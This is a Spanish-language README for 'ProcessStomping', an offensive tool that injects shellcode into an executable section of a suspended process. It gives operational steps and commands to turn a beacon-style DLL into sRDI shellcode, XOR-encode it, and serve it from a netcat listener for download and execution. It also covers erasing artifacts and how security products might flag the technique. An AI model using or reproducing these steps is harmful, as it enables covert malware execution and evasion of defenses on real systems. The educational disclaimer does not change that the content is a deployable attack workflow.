
Una variación de ProcessOverwriting para ejecutar shellcode en la sección de un ejecutable.
Una variación de ProcessOverwriting para ejecutar shellcode en una sección de un ejecutable
Para una explicación más detallada puedes leer mi entrada de blog
Process Stomping es una variación del Process Overwriting de hasherezade y tiene la ventaja de escribir una carga útil de shellcode en una sección objetivo en lugar de escribir toda una carga útil de PE sobre el espacio de direcciones del proceso anfitrión.
Estos son los pasos principales de la técnica ProcessStomping:
Como ejemplo de aplicación de la técnica, el PoC puede usarse con sRDI para cargar un beacon dll sobre una sección RWX de un ejecutable. La siguiente imagen describe los pasos involucrados.

Toda la información y el contenido se proporcionan únicamente con fines educativos. Sigue las instrucciones bajo tu propio riesgo. Ni el autor ni su empleador son responsables de ningún daño directo o consecuente o pérdida que surja de cualquier persona u organización.
Este trabajo ha sido posible gracias al conocimiento y las herramientas compartidas por Aleksandra Doniec @hasherezade y Nick Landers.
Selecciona tu proceso objetivo y modifica las variables globales correspondientes en ProcessStomping.cpp.
Compila el proyecto sRDI asegurándote de que el desplazamiento sea suficiente para saltar sobre tu blob de shellcode sRDI generado y luego actualiza las herramientas sRDI:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Genera una carga útil dll sin cargador reflectante de tu elección y luego genera el blob de shellcode sRDI:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
El blob de shellcode puede luego ser xored con una palabra clave y descargado usando un socket simple
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Entrega el blob xored al establecerse la conexión
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
El blob sRDI se borrará después de la ejecución para eliminar artefactos innecesarios.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
Para ejecutar exitosamente esta técnica debes seleccionar el proceso objetivo correcto y usar una carga útil dll que no incluya un cargador reflectante definido por el usuario.
La técnica Process Stomping requiere iniciar el proceso objetivo en un estado suspendido, cambiar el punto de entrada del hilo y luego reanudar el hilo para ejecutar el shellcode inyectado. Estas son operaciones que podrían considerarse sospechosas si se realizan en rápida sucesión y podrían llevar a un mayor escrutinio por parte de algunas soluciones de seguridad.